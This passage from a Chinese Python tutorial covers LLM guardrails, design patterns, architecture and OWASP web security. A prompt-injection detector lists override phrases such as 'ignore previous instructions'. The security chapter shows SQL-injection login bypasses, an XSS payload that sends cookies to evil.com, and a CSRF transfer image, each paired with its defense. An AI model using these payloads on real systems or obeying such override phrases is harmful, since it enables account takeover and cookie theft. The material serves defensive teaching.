ids=[f"msg_{self.counter}"],
metadatas=[{"role": role, "turn": self.counter}]
)
def recall(self, query: str, top_k: int = 5) -> list:
"""检索与当前话题最相关的历史消息"""
results = self.collection.query(
query_texts=[query],
n_results=top_k
)
return results["documents"][0] if results["documents"] else []
# ===== 防止 Agent 死循环的策略 =====
class AgentGuardrails:
"""Agent 安全护栏"""
@staticmethod
def check_loop(messages: list, threshold: int = 3) -> bool:
"""检测是否陷入循环:连续 3 次相同的工具调用"""
if len(messages) < threshold * 2:
return False
recent_tool_calls = [
m for m in messages[-threshold * 2:]
if m.get("role") == "assistant" and hasattr(m, "tool_calls")
]
# 检查是否有重复的工具调用
calls = set()
for msg in recent_tool_calls:
for tc in msg.tool_calls:
key = f"{tc.function.name}:{tc.function.arguments}"
if key in calls:
return True
calls.add(key)
return False
@staticmethod
def check_cost(messages: list, max_tokens: int = 100000) -> bool:
"""检查 token 消耗是否超限"""
total = sum(len(str(m.get("content", ""))) for m in messages)
return total > max_tokens # 粗估
# ===== NeMo Guardrails:NVIDIA 出品的 LLM 安全框架 =====
# pip install nemoguardrails
# 核心思想:在 LLM 前后各加一层"护栏":
# Input Guardrails:拦截有害/违规的用户输入
# Output Guardrails:拦截 LLM 的有害/幻觉输出
# nemoguardrails 配置示例(config.yml):
"""
models:
- type: main
engine: openai
model: gpt-4o
rails:
input:
flows:
- self check input # 检查用户输入是否违规
output:
flows:
- self check output # 检查 LLM 输出是否合规
- check hallucination # 检查是否是幻觉
prompts:
- task: self_check_input
content: |
判断以下用户输入是否包含有害内容(如要求生成违法内容、注入攻击等)。
用户输入: "{{ user_input }}"
回答 YES 或 NO。
- task: self_check_output
content: |
判断以下 AI 回答是否包含有害内容或虚假信息。
AI 回答: "{{ bot_response }}"
参考资料: "{{ context }}"
回答 YES 或 NO。
"""
# ===== 自定义 Guardrails(不依赖框架,纯 Python 实现)=====
import re
from typing import Callable
class LLMGuardrails:
"""轻量级 LLM 输出护栏"""
def __init__(self):
self.input_rules: list[Callable] = []
self.output_rules: list[Callable] = []
def add_input_rule(self, rule: Callable):
self.input_rules.append(rule)
def add_output_rule(self, rule: Callable):
self.output_rules.append(rule)
def check_input(self, user_input: str) -> tuple[bool, str]:
"""检查用户输入,返回 (通过, 原因)"""
for rule in self.input_rules:
passed, reason = rule(user_input)
if not passed:
return False, reason
return True, ""
def check_output(self, output: str, context: str = "") -> tuple[bool, str]:
"""检查 LLM 输出"""
for rule in self.output_rules:
passed, reason = rule(output, context)
if not passed:
return False, reason
return True, ""
# ===== 常用的 Guardrails 规则 =====
def check_prompt_injection(text: str) -> tuple[bool, str]:
"""检测提示词注入攻击"""
injection_patterns = [
r"忽略(之前|上面|以上)(的|所有)?(指令|规则|提示)",
r"ignore (previous|above|all) (instructions|rules)",
r"你现在是.*?(DAN|越狱|无限制)",
r"system:\s*you are",
r"<\|system\|>",
]
for pattern in injection_patterns:
if re.search(pattern, text, re.IGNORECASE):
return False, "检测到提示词注入攻击"
return True, ""
def check_hallucination_against_context(output: str, context: str) -> tuple[bool, str]:
"""简单幻觉检测:输出中的关键事实是否在上下文中有依据"""
# 提取输出中的数字(电话、金额、日期等)
numbers_in_output = re.findall(r'\d+[\d\-\.]*', output)
if not numbers_in_output:
return True, ""
# 检查这些数字是否出现在上下文中
for num in numbers_in_output:
if num not in context and len(num) > 3: # 忽略短数字
return False, f"输出中包含数字 '{num}',但在参考资料中未找到依据(可能是幻觉)"
return True, ""
def check_sensitive_topics(text: str) -> tuple[bool, str]:
"""检测敏感话题(如医疗建议、法律建议)"""
sensitive_keywords = ["诊断", "处方", "用药", "法律意见", "投资建议"]
for keyword in sensitive_keywords:
if keyword in text:
return False, f"检测到敏感话题 '{keyword}',建议用户咨询专业人士"
return True, ""
def check_off_topic(output: str, expected_domain: str) -> tuple[bool, str]:
"""检测是否偏离业务领域"""
# 简单实现:检查输出是否包含预期领域的关键词
# 生产环境建议用 LLM 做二次判断
return True, ""
# ===== 使用示例 =====
guardrails = LLMGuardrails()
guardrails.add_input_rule(check_prompt_injection)
guardrails.add_output_rule(check_hallucination_against_context)
guardrails.add_output_rule(check_sensitive_topics)
# 在 RAG 链中集成
def safe_rag_answer(question: str, context: str) -> str:
"""带 Guardrails 的 RAG 回答"""
# 1. 输入检查
passed, reason = guardrails.check_input(question)
if not passed:
return f"⚠️ 输入被拦截:{reason}"
# 2. 调用 LLM
client = OpenAI()
response = client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": f"基于以下资料回答:\n{context}"},
{"role": "user", "content": question}
]
)
answer = response.choices[0].message.content
# 3. 输出检查
passed, reason = guardrails.check_output(answer, context)
if not passed:
return f"⚠️ 回答被拦截:{reason}。请重新提问或联系人工客服。"
return answer
写出能运行的代码是"入门",写出可维护、可扩展、可测试的代码才是"精通"。本章教你 Python 中常用的设计模式、SOLID 原则、项目架构最佳实践。这些是高级工程师和架构师的核心能力。
# ===== S: 单一职责原则(SRP)=====
# 每个类只负责一件事
# ❌ 错误:一个类做了太多事
class UserBad:
def __init__(self, name, email):
self.name = name
self.email = email
def save_to_db(self): ... # 数据库操作
def send_email(self): ... # 邮件发送
def generate_report(self): ... # 报表生成
# ✅ 正确:每个类只负责一件事
class User:
def __init__(self, name: str, email: str):
self.name = name
self.email = email
class UserRepository:
def save(self, user: User) -> None: ...
def find_by_id(self, user_id: int) -> User: ...
class EmailService:
def send_welcome_email(self, user: User) -> None: ...
class ReportGenerator:
def generate_user_report(self, user: User) -> str: ...
# ===== O: 开闭原则(OCP)=====
# 对扩展开放,对修改关闭
# ❌ 错误:每次新增形状都要修改 AreaCalculator
class AreaCalculatorBad:
def calculate(self, shape):
if isinstance(shape, Circle):
return 3.14 * shape.radius ** 2
elif isinstance(shape, Rectangle):
return shape.width * shape.height
# 新增三角形?又要改这里...
# ✅ 正确:用多态实现扩展
from abc import ABC, abstractmethod
import math
class Shape(ABC):
@abstractmethod
def area(self) -> float: ...
class Circle(Shape):
def __init__(self, radius: float):
self.radius = radius
def area(self) -> float:
return math.pi * self.radius ** 2
class Rectangle(Shape):
def __init__(self, width: float, height: float):
self.width = width
self.height = height
def area(self) -> float:
return self.width * self.height
class Triangle(Shape):
def __init__(self, base: float, height: float):
self.base = base
self.height = height
def area(self) -> float:
return 0.5 * self.base * self.height
# 新增形状?只需添加新类,不需要修改已有代码
def total_area(shapes: list[Shape]) -> float:
return sum(s.area() for s in shapes)
# ===== L: 里氏替换原则(LSP)=====
# 子类必须能替换父类使用
# ❌ 违反 LSP
class Bird:
def fly(self) -> str:
return "我在飞"
class Penguin(Bird):
def fly(self) -> str:
raise Exception("企鹅不会飞!") # 替换后程序崩溃
# ✅ 遵循 LSP
class Bird:
def move(self) -> str: ...
class FlyingBird(Bird):
def move(self) -> str:
return "我在飞"
class Penguin(Bird):
def move(self) -> str:
return "我在游泳"
# ===== I: 接口隔离原则(ISP)=====
# 不要强迫类实现不需要的接口
# ❌ 错误:一个臃肿的接口
class WorkerBad(ABC):
@abstractmethod
def work(self) -> None: ...
@abstractmethod
def eat(self) -> None: ...
@abstractmethod
def sleep(self) -> None: ...
# ✅ 正确:拆分为小接口
class Workable(ABC):
@abstractmethod
def work(self) -> None: ...
class Eatable(ABC):
@abstractmethod
def eat(self) -> None: ...
class Robot(Workable): # 机器人只需要实现 work
def work(self) -> None:
print("机器人在工作")
# ===== D: 依赖倒置原则(DIP)=====
# 高层模块不应依赖低层模块,都应依赖抽象
# ❌ 错误:直接依赖具体实现
class MySQLDatabase:
def query(self, sql: str) -> list: ...
class UserServiceBad:
def __init__(self):
self.db = MySQLDatabase() # 直接依赖 MySQL
# ✅ 正确:依赖抽象
class Database(ABC):
@abstractmethod
def query(self, sql: str) -> list: ...
class MySQLDatabase(Database):
def query(self, sql: str) -> list: ...
class PostgreSQLDatabase(Database):
def query(self, sql: str) -> list: ...
class UserService:
def __init__(self, db: Database): # 依赖注入
self.db = db
from abc import ABC, abstractmethod
from typing import Any
import threading
# ===== 1. 单例模式(Singleton)=====
class Singleton:
_instance = None
_lock = threading.Lock()
def __new__(cls, *args, **kwargs):
if cls._instance is None:
with cls._lock:
if cls._instance is None: # 双重检查锁
cls._instance = super().__new__(cls)
return cls._instance
# 更 Pythonic 的方式:用模块级变量
# config.py
# _config = None
# def get_config():
# global _config
# if _config is None:
# _config = load_config()
# return _config
# ===== 2. 工厂模式(Factory)=====
class Notification(ABC):
@abstractmethod
def send(self, message: str) -> None: ...
class EmailNotification(Notification):
def send(self, message: str) -> None:
print(f"📧 邮件:{message}")
class SMSNotification(Notification):
def send(self, message: str) -> None:
print(f"📱 短信:{message}")
class PushNotification(Notification):
def send(self, message: str) -> None:
print(f"🔔 推送:{message}")
class NotificationFactory:
_creators = {
"email": EmailNotification,
"sms": SMSNotification,
"push": PushNotification,
}
@classmethod
def create(cls, channel: str) -> Notification:
creator = cls._creators.get(channel)
if not creator:
raise ValueError(f"不支持的通知渠道:{channel}")
return creator()
# 使用
notifier = NotificationFactory.create("email")
notifier.send("你好!")
# ===== 3. 策略模式(Strategy)=====
class SortStrategy(ABC):
@abstractmethod
def sort(self, data: list) -> list: ...
class BubbleSort(SortStrategy):
def sort(self, data: list) -> list:
arr = data.copy()
n = len(arr)
for i in range(n):
for j in range(0, n - i - 1):
if arr[j] > arr[j + 1]:
arr[j], arr[j + 1] = arr[j + 1], arr[j]
return arr
class QuickSort(SortStrategy):
def sort(self, data: list) -> list:
if len(data) <= 1:
return data
pivot = data[len(data) // 2]
left = [x for x in data if x < pivot]
middle = [x for x in data if x == pivot]
right = [x for x in data if x > pivot]
return self.sort(left) + middle + self.sort(right)
class Sorter:
def __init__(self, strategy: SortStrategy):
self._strategy = strategy
def sort(self, data: list) -> list:
return self._strategy.sort(data)
# 使用
sorter = Sorter(QuickSort())
print(sorter.sort([3, 1, 4, 1, 5, 9]))
# ===== 4. 观察者模式(Observer)=====
class EventEmitter:
def __init__(self):
self._listeners: dict[str, list] = {}
def on(self, event: str, callback):
self._listeners.setdefault(event, []).append(callback)
def emit(self, event: str, *args, **kwargs):
for callback in self._listeners.get(event, []):
callback(*args, **kwargs)
# 使用
emitter = EventEmitter()
emitter.on("user_created", lambda user: print(f"发送欢迎邮件给 {user}"))
emitter.on("user_created", lambda user: print(f"记录日志:{user} 注册"))
emitter.emit("user_created", "张三")
# ===== 5. 装饰器模式(Decorator)=====
class Coffee(ABC):
@abstractmethod
def cost(self) -> float: ...
@abstractmethod
def description(self) -> str: ...
class Espresso(Coffee):
def cost(self) -> float: return 15.0
def description(self) -> str: return "浓缩咖啡"
class CoffeeDecorator(Coffee):
def __init__(self, coffee: Coffee):
self._coffee = coffee
class MilkDecorator(CoffeeDecorator):
def cost(self) -> float: return self._coffee.cost() + 5.0
def description(self) -> str: return self._coffee.description() + " + 牛奶"
class SugarDecorator(CoffeeDecorator):
def cost(self) -> float: return self._coffee.cost() + 2.0
def description(self) -> str: return self._coffee.description() + " + 糖"
# 使用(可以自由组合)
coffee = Espresso()
coffee = MilkDecorator(coffee)
coffee = SugarDecorator(coffee)
print(f"{coffee.description()}: ¥{coffee.cost()}")
# 浓缩咖啡 + 牛奶 + 糖: ¥22.0
# ===== 6. 依赖注入容器 =====
class Container:
def __init__(self):
self._services = {}
def register(self, name: str, factory, singleton: bool = False):
self._services[name] = {"factory": factory, "singleton": singleton, "instance": None}
def resolve(self, name: str) -> Any:
service = self._services[name]
if service["singleton"]:
if service["instance"] is None:
service["instance"] = service["factory"]()
return service["instance"]
return service["factory"]()
# 使用
container = Container()
container.register("database", lambda: MySQLDatabase(), singleton=True)
container.register("user_service", lambda: UserService(container.resolve("database")))
# ===== 分层架构 =====
# 表示层 → 业务层 → 数据层 → 基础设施层
# 项目结构示例:
my_app/
├── presentation/ # 表示层(API、CLI、Web)
│ ├── api/
│ │ ├── routes.py # 路由定义
│ │ ├── schemas.py # Pydantic 请求/响应模型
│ │ └── dependencies.py # FastAPI 依赖注入
│ └── cli/
│ └── commands.py
├── application/ # 应用层(用例/服务)
│ ├── services/
│ │ ├── user_service.py
│ │ └── order_service.py
│ └── dto/ # 数据传输对象
├── domain/ # 领域层(核心业务逻辑)
│ ├── models/
│ │ ├── user.py # 领域模型
│ │ └── order.py
│ ├── repositories/ # 仓储接口(抽象)
│ │ └── user_repo.py
│ └── events/ # 领域事件
├── infrastructure/ # 基础设施层
│ ├── database/
│ │ ├── connection.py
│ │ └── user_repo_impl.py # 仓储实现
│ ├── cache/
│ │ └── redis_client.py
│ └── external/
│ └── email_client.py
├── tests/
│ ├── unit/
│ ├── integration/
│ └── e2e/
└── config.py
# ===== 依赖注入示例 =====
# domain/repositories/user_repo.py
from abc import ABC, abstractmethod
from domain.models.user import User
class UserRepository(ABC):
@abstractmethod
async def find_by_id(self, user_id: int) -> User | None: ...
@abstractmethod
async def save(self, user: User) -> None: ...
# infrastructure/database/user_repo_impl.py
from domain.repositories.user_repo import UserRepository
from domain.models.user import User
class PostgresUserRepository(UserRepository):
def __init__(self, db_session):
self._session = db_session
async def find_by_id(self, user_id: int) -> User | None:
# 实际数据库查询
...
# application/services/user_service.py
class UserService:
def __init__(self, user_repo: UserRepository): # 依赖抽象
self._repo = user_repo
async def get_user(self, user_id: int) -> User:
user = await self._repo.find_by_id(user_id)
if not user:
raise ValueError(f"用户 {user_id} 不存在")
return user
# presentation/api/dependencies.py
# FastAPI 的依赖注入
# def get_user_service():
# repo = PostgresUserRepository(get_db_session())
# return UserService(repo)
前面的 SOLID 原则和设计模式用的都是"计算面积""企鹅和鸟"这种教科书案例。但真实项目中,你面对的不是企鹅,而是一坨 1000 行的"面条代码"。下面用一个真实的订单服务演示如何用设计模式重构。
# ===== 重构前:一坨 1000 行的 OrderService =====
# ❌ 这段代码有什么"坏味道"?
# 1. God Class(上帝类):一个类做了所有事
# 2. 长方法:一个方法 200 行
# 3. 深度嵌套:if/elif/else 套了 5 层
# 4. 硬编码:促销规则写死在代码里
# 5. 副作用混杂:校验、计算、扣库存、发短信全混在一起
class OrderServiceBad:
def create_order(self, user_id, items, coupon_code=None):
# --- 校验逻辑(100 行)---
if not user_id:
raise ValueError("用户ID不能为空")
user = db.query_user(user_id)
if not user:
raise ValueError("用户不存在")
if user.is_blocked:
raise ValueError("用户被封禁")
if not items:
raise ValueError("商品列表不能为空")
for item in items:
product = db.query_product(item['product_id'])
if not product:
raise ValueError(f"商品 {item['product_id']} 不存在")
if product.stock < item['quantity']:
raise ValueError(f"商品 {product.name} 库存不足")
if item['quantity'] <= 0:
raise ValueError("购买数量必须大于 0")
# ... 还有 50 行校验 ...
# --- 促销计算(200 行)---
total = 0
for item in items:
product = db.query_product(item['product_id'])
price = product.price
# 满减
if coupon_code:
coupon = db.query_coupon(coupon_code)
if coupon.type == "fixed":
price -= coupon.value
elif coupon.type == "percent":
price *= (1 - coupon.value / 100)
elif coupon.type == "buy2get1":
if item['quantity'] >= 2:
# 复杂的买二送一逻辑...
pass
# 会员折扣
if user.level == "gold":
price *= 0.95
elif user.level == "silver":
price *= 0.98
# 限时折扣
if product.flash_sale and datetime.now() < product.flash_sale_end:
price *= product.flash_sale_discount
total += price * item['quantity']
# --- 扣库存 + 发短信 + 发积分 + 记日志(全混在一起)---
for item in items:
db.deduct_stock(item['product_id'], item['quantity'])
db.deduct_balance(user_id, total)
db.add_points(user_id, int(total))
sms.send(user.phone, f"您的订单已创建,金额 {total} 元")
logger.info(f"订单创建: user={user_id}, amount={total}")
# ... 还有 200 行 ...
# ===== 重构后:用设计模式拆解 =====
# ---- 1. 策略模式 + 工厂模式:重构促销计算 ----
from abc import ABC, abstractmethod
from dataclasses import dataclass
@dataclass
class OrderItem:
product_id: int
quantity: int
unit_price: float
class PromotionStrategy(ABC):
"""促销策略接口"""
@abstractmethod
def apply(self, items: list[OrderItem], user: dict) -> float:
"""计算折后总价"""
...
class NoPromotion(PromotionStrategy):
def apply(self, items, user):
return sum(item.unit_price * item.quantity for item in items)
class FixedCoupon(PromotionStrategy):
"""满减券"""
def __init__(self, value: float, min_amount: float = 0):
self.value = value
self.min_amount = min_amount
def apply(self, items, user):
total = sum(item.unit_price * item.quantity for item in items)
if total >= self.min_amount:
return max(0, total - self.value)
return total
class PercentCoupon(PromotionStrategy):
"""折扣券"""
def __init__(self, percent: float):
self.percent = percent
def apply(self, items, user):
total = sum(item.unit_price * item.quantity for item in items)
return total * (1 - self.percent / 100)
class MemberDiscount(PromotionStrategy):
"""会员折扣"""
DISCOUNT_MAP = {"gold": 0.95, "silver": 0.98, "bronze": 1.0}
def apply(self, items, user):
total = sum(item.unit_price * item.quantity for item in items)
return total * self.DISCOUNT_MAP.get(user.get("level", ""), 1.0)
class PromotionFactory:
"""促销策略工厂——新增促销类型只需注册,不改已有代码"""
_strategies = {
"no_promotion": NoPromotion,
"fixed_coupon": FixedCoupon,
"percent_coupon": PercentCoupon,
"member_discount": MemberDiscount,
}
@classmethod
def create(cls, promo_type: str, **kwargs) -> PromotionStrategy:
strategy_cls = cls._strategies.get(promo_type)
if not strategy_cls:
raise ValueError(f"未知促销类型: {promo_type}")
return strategy_cls(**kwargs)
@classmethod
def register(cls, name: str, strategy_cls):
"""动态注册新策略(开闭原则)"""
cls._strategies[name] = strategy_cls
# ---- 2. 责任链模式:重构订单校验流程 ----
class ValidationRule(ABC):
"""校验规则基类"""
def __init__(self):
self._next: ValidationRule | None = None
def set_next(self, rule: 'ValidationRule') -> 'ValidationRule':
self._next = rule
return rule
def validate(self, context: dict):
self._do_validate(context)
if self._next:
self._next.validate(context)
@abstractmethod
def _do_validate(self, context: dict):
...
class UserValidation(ValidationRule):
def _do_validate(self, context):
user = context.get("user")
if not user:
raise ValueError("用户不存在")
if user.get("is_blocked"):
raise ValueError("用户被封禁")
class StockValidation(ValidationRule):
def _do_validate(self, context):
for item in context["items"]:
product = context["products"].get(item.product_id)
if not product:
raise ValueError(f"商品 {item.product_id} 不存在")
if product["stock"] < item.quantity:
raise ValueError(f"商品 {product['name']} 库存不足")
class BalanceValidation(ValidationRule):
def _do_validate(self, context):
user = context["user"]
total = context["total"]
if user.get("balance", 0) < total:
raise ValueError("余额不足")
# 组装校验链
def build_validation_chain() -> ValidationRule:
user_rule = UserValidation()
stock_rule = StockValidation()
balance_rule = BalanceValidation()
user_rule.set_next(stock_rule).set_next(balance_rule)
return user_rule
# ---- 3. 观察者模式(或消息队列):解耦非核心链路 ----
# 核心链路:校验 → 计算 → 扣库存 → 扣款(必须同步、必须成功)
# 非核心链路:发短信、发积分、记日志、推送通知(可以异步、可以失败重试)
from enum import Enum
class OrderEvent(Enum):
CREATED = "order.created"
PAID = "order.paid"
CANCELLED = "order.cancelled"
class EventBus:
"""事件总线(观察者模式的生产级实现)"""
def __init__(self):
self._handlers: dict[str, list] = {}
def subscribe(self, event: OrderEvent, handler):
self._handlers.setdefault(event.value, []).append(handler)
def publish(self, event: OrderEvent, data: dict):
for handler in self._handlers.get(event.value, []):
try:
handler(data)
except Exception as e:
# 非核心链路失败不能影响主流程
logger.error(f"事件处理失败: {event.value}, {e}")
# 注册事件处理器(非核心链路)
event_bus = EventBus()
def send_sms_on_order_created(data):
"""发短信(失败不影响下单)"""
try:
sms.send(data["phone"], f"订单 {data['order_id']} 已创建")
except Exception as e:
logger.error(f"短信发送失败: {e}")
def add_points_on_order_created(data):
"""发积分(失败不影响下单)"""
try:
db.add_points(data["user_id"], data["points"])
except Exception as e:
logger.error(f"积分发放失败: {e}")
event_bus.subscribe(OrderEvent.CREATED, send_sms_on_order_created)
event_bus.subscribe(OrderEvent.CREATED, add_points_on_order_created)
# ---- 4. 重构后的 OrderService ----
class OrderService:
"""重构后的订单服务:职责清晰,可测试,可扩展"""
def __init__(self, validation_chain: ValidationRule, event_bus: EventBus):
self.validation_chain = validation_chain
self.event_bus = event_bus
def create_order(self, user_id: int, items: list[OrderItem],
promotion: PromotionStrategy = None) -> dict:
# 1. 准备上下文
user = db.query_user(user_id)
products = {item.product_id: db.query_product(item.product_id) for item in items}
promotion = promotion or NoPromotion()
context = {"user": user, "items": items, "products": products}
# 2. 责任链校验(每个规则只关心自己的事)
self.validation_chain.validate(context)
# 3. 计算价格(策略模式,新增促销类型不改这段代码)
total = promotion.apply(items, user)
context["total"] = total
# 4. 核心链路(同步执行)
order = db.create_order(user_id, items, total)
# 5. 非核心链路(事件驱动,异步解耦)
self.event_bus.publish(OrderEvent.CREATED, {
"order_id": order["id"],
"user_id": user_id,
"phone": user["phone"],
"points": int(total),
})
return order
# ===== 架构是妥协的艺术 =====
# 很多文章只吹 DDD 和微服务的好处,却不告诉你代价。
# 下面讲清楚"什么时候不该用"以及"用了会踩什么坑"。
# ---- 坑 1:分布式事务 ----
# 单体应用中,一个数据库事务就能搞定:
# BEGIN → 扣库存 → 扣款 → 创建订单 → COMMIT
# 微服务中,这三步在三个不同的服务和数据库里,怎么办?
# 方案 A:Saga 模式(编排式)
class OrderSaga:
"""Saga 事务:每一步有对应的补偿操作"""
def __init__(self):
self.steps = [] # [(action, compensation)]
def execute(self):
completed = []
try:
for action, compensation in self.steps:
action()
completed.append(compensation)
except Exception as e:
# 失败时逆序执行补偿操作
for compensation in reversed(completed):
try:
compensation()
except Exception as comp_err:
logger.error(f"补偿操作失败: {comp_err}")
raise e
# 使用
saga = OrderSaga()
saga.steps = [
(lambda: inventory_service.deduct(product_id, qty),
lambda: inventory_service.restore(product_id, qty)), # 补偿:恢复库存
(lambda: payment_service.charge(user_id, amount),
lambda: payment_service.refund(user_id, amount)), # 补偿:退款
(lambda: order_service.create(user_id, items),
lambda: order_service.cancel(order_id)), # 补偿:取消订单
]
saga.execute()
# 方案 B:本地消息表(更可靠)
class LocalMessageTable:
"""把"发消息"和"业务操作"放在同一个数据库事务中"""
def create_order_with_message(self, user_id, items, total):
with db.transaction():
# 1. 创建订单
order = db.create_order(user_id, items, total)
# 2. 在同一个事务中写入消息表
db.insert_message({
"topic": "order.created",
"payload": json.dumps({"order_id": order["id"]}),
"status": "pending"
})
# 事务提交后,由后台任务扫描消息表发送到 MQ
# ---- 坑 2:循环依赖 ----
# 服务 A 调用服务 B,服务 B 又调用服务 A → 死锁、启动失败
# 解决方案:
# 1. 引入服务 C(公共模块)打破循环
# 2. 用事件驱动代替直接调用(A 发事件 → B 监听)
# 3. 重新划分服务边界(可能说明你的服务拆分有问题)
# ---- 坑 3:过度设计 ----
# 一个 3 人团队、日活 1000 的应用,不需要:
# - 10 个微服务
# - Kubernetes 集群
# - 事件溯源 + CQRS
# 这些都是为 100 人团队、百万日活准备的。
# 先写好单体,等到真正需要时再拆分。
# ===== 什么时候该用 DDD?=====
# ✅ 适合:业务逻辑复杂(电商、金融、ERP)、团队 > 5 人
# ❌ 不适合:CRUD 为主的应用、小团队、原型阶段
# ===== 什么时候该用微服务?=====
# ✅ 适合:团队 > 20 人、需要独立部署扩缩容、不同模块技术栈不同
# ❌ 不适合:团队 < 5 人、网络延迟敏感、运维能力不足
写出能运行的代码很容易,写出安全的代码很难。本章讲解 OWASP Top 10 中最常见的 Web 安全漏洞,用 Python 代码演示攻击原理和防御方法。不懂安全的程序员,迟早会写出被攻破的系统。
import sqlite3
# ===== 攻击演示 =====
conn = sqlite3.connect(":memory:")
cursor = conn.cursor()
cursor.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, password TEXT)")
cursor.execute("INSERT INTO users VALUES (1, 'admin', 'secret123')")
cursor.execute("INSERT INTO users VALUES (2, '张三', 'mypassword')")
conn.commit()
# ❌ 危险:直接拼接用户输入
def login_unsafe(username, password):
query = f"SELECT * FROM users WHERE name='{username}' AND password='{password}'"
print(f"执行的 SQL: {query}")
cursor.execute(query)
return cursor.fetchone()
# 正常登录
print(login_unsafe("admin", "secret123")) # (1, 'admin', 'secret123') ✓
# SQL 注入攻击!
print(login_unsafe("admin' --", "anything"))
# 执行的 SQL: SELECT * FROM users WHERE name='admin' --' AND password='anything'
# -- 后面被注释掉了,不需要密码就能登录!
print(login_unsafe("' OR '1'='1", "' OR '1'='1"))
# 执行的 SQL: SELECT * FROM users WHERE name='' OR '1'='1' AND password='' OR '1'='1'
# 返回所有用户!
# ===== 防御:参数化查询 =====
def login_safe(username, password):
query = "SELECT * FROM users WHERE name=? AND password=?"
cursor.execute(query, (username, password)) # 参数化:用户输入永远是数据,不是代码
return cursor.fetchone()
# 注入攻击失败
print(login_safe("admin' --", "anything")) # None ✓
# ===== ORM 天然防注入 =====
# SQLAlchemy 的写法(自动参数化):
# user = session.query(User).filter(User.name == username, User.password == password).first()
# 即使用 f-string 拼接 ORM 查询也不会注入:
# session.query(User).filter(User.name == f"{username}' --") # 安全的
from markupsafe import escape # pip install markupsafe
# ===== XSS 攻击原理 =====
# 用户在评论区提交:
user_input = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# ❌ 危险:直接把用户输入嵌入 HTML
html_unsafe = f"<div class='comment'>{user_input}</div>"
# 浏览器会执行 <script> 标签,用户的 cookie 被偷走!
# ===== 防御方法 =====
# 方法 1:HTML 转义(最基础)
html_safe = f"<div class='comment'>{escape(user_input)}</div>"
# <script> 被转义为 <script>,浏览器只显示文本
# 方法 2:使用模板引擎的自动转义
# Jinja2 默认自动转义:{{ user_input }} 是安全的
# 要输出原始 HTML 用 {{ user_input | safe }}(仅限信任内容)
# 方法 3:Content-Security-Policy 响应头
# Content-Security-Policy: default-src 'self'; script-src 'self'
# 禁止执行内联脚本
# 方法 4:输入验证 + 输出编码
import re
def sanitize_html(text):
"""移除所有 HTML 标签"""
return re.sub(r'<[^>]+>', '', text)
# ===== CSRF 攻击原理 =====
# 用户已登录银行网站(session cookie 自动携带)
# 攻击者诱导用户访问一个恶意页面,页面中有:
# <img src="https://bank.com/transfer?to=attacker&amount=10000">
# 浏览器自动带上 cookie,银行以为是用户本人操作
# ===== 防御:CSRF Token =====
import secrets
import hmac
import hashlib
class CSRFProtection:
def __init__(self, secret_key: str):
self.secret_key = secret_key
def generate_token(self, session_id: str) -> str:
"""生成 CSRF Token"""
message = f"{session_id}:{secrets.token_hex(16)}"
signature = hmac.new(
self.secret_key.encode(), message.encode(), hashlib.sha256
).hexdigest()
return f"{message}:{signature}"
def verify_token(self, session_id: str, token: str) -> bool:
"""验证 CSRF Token(签名 + session 绑定)"""
try:
message, signature = token.rsplit(":", 1)
# 先验证 session 绑定:token 必须属于当前会话
if not message.startswith(f"{session_id}:"):
return False
expected = hmac.new(
self.secret_key.encode(), message.encode(), hashlib.sha256
).hexdigest()
return hmac.compare_digest(signature, expected)
except (ValueError, TypeError):
return False
# FastAPI 中使用 CSRF:
# from fastapi_csrf_protect import CsrfProtect
# @app.post("/transfer")
# async def transfer(csrf_protect: CsrfProtect = Depends()):
# await csrf_protect.validate_csrf(request)
# 最简防御:SameSite Cookie
# response.set_cookie("session", value, samesite="lax")
# 浏览器不会在跨站请求中携带 SameSite cookie
# pip install bcrypt
import bcrypt
import hashlib
import secrets
# ❌ 错误:明文存储密码
passwords_db = {"admin": "123456"} # 数据库泄露 = 所有账号完蛋
# ❌ 错误:简单哈希
hashed = hashlib.sha256("123456".encode()).hexdigest()
# 彩虹表可以秒破常见密码
# ❌ 错误:加固定 salt
salt = "my_secret_salt"
hashed = hashlib.sha256(f"{salt}123456".encode()).hexdigest()
# salt 泄露后同样不安全
# ✅ 正确:bcrypt 自动加随机 salt + 慢哈希
def hash_password(password: str) -> str:
"""哈希密码(自动加 salt)"""
salt = bcrypt.gensalt(rounds=12) # rounds 越大越慢,12 是推荐值
return bcrypt.hashpw(password.encode(), salt).decode()
def verify_password(password: str, hashed: str) -> bool:
"""验证密码"""
return bcrypt.checkpw(password.encode(), hashed.encode())
# 使用
stored_hash = hash_password("123456")
print(verify_password("123456", stored_hash)) # True
print(verify_password("wrong", stored_hash)) # False
# ===== 密码策略 =====
import re
def validate_password(password: str) -> tuple[bool, str]:
"""验证密码强度"""
if len(password) < 8:
return False, "密码至少 8 个字符"
if not re.search(r'[A-Z]', password):
return False, "需要包含大写字母"
if not re.search(r'[a-z]', password):
return False, "需要包含小写字母"
if not re.search(r'\d', password):
return False, "需要包含数字"
return True, "密码强度合格"
import os
from pathlib import Path
# ❌ 错误:硬编码密钥
API_KEY = "sk-1234567890abcdef" # 提交到 Git = 泄露
# ❌ 错误:写在代码里再删掉
# Git 历史里还有!用 git log -p 可以看到
# ✅ 正确:环境变量
api_key = os.getenv("API_KEY")
if not api_key:
raise ValueError("请设置 API_KEY 环境变量")
# ✅ 正确:.env 文件 + python-dotenv
# pip install python-dotenv
from dotenv import load_dotenv
load_dotenv() # 从 .env 文件加载
api_key = os.getenv("API_KEY")
# .env 文件示例:
# API_KEY=sk-1234567890abcdef
# DB_PASSWORD=super_secret
# REDIS_URL=redis://localhost:6379
# .gitignore 中必须包含:
# .env
# *.key
# *.pem
# ✅ 正确:使用密钥管理服务
# AWS Secrets Manager / HashiCorp Vault / Azure Key Vault
# 生产环境永远不要把密钥写在文件里
# ===== 检测代码中的密钥泄露 =====
# pip install detect-secrets
# detect-secrets scan > .secrets.baseline
# detect-secrets audit .secrets.baseline
# ===== 常见依赖安全问题 =====
# 1. 已知漏洞的依赖
# pip install safety
# safety check # 检查已安装的包是否有已知漏洞
# 2. 恶意包(typosquatting)
# pip install requests ✓
# pip install requets ✗ (恶意包,名字差一个字母)
# pip install requestss ✗
# 3. 依赖锁定
# ❌ requirements.txt 不锁定版本
# requests # 可能安装任何版本
# ✅ 锁定精确版本
# requests==2.31.0
# 或用 uv.lock / poetry.lock 自动管理
# ===== 安全最佳实践 =====
# 1. 定期更新依赖:uv lock --upgrade
# 2. 使用 Dependabot / Renovate 自动提 PR 更新依赖
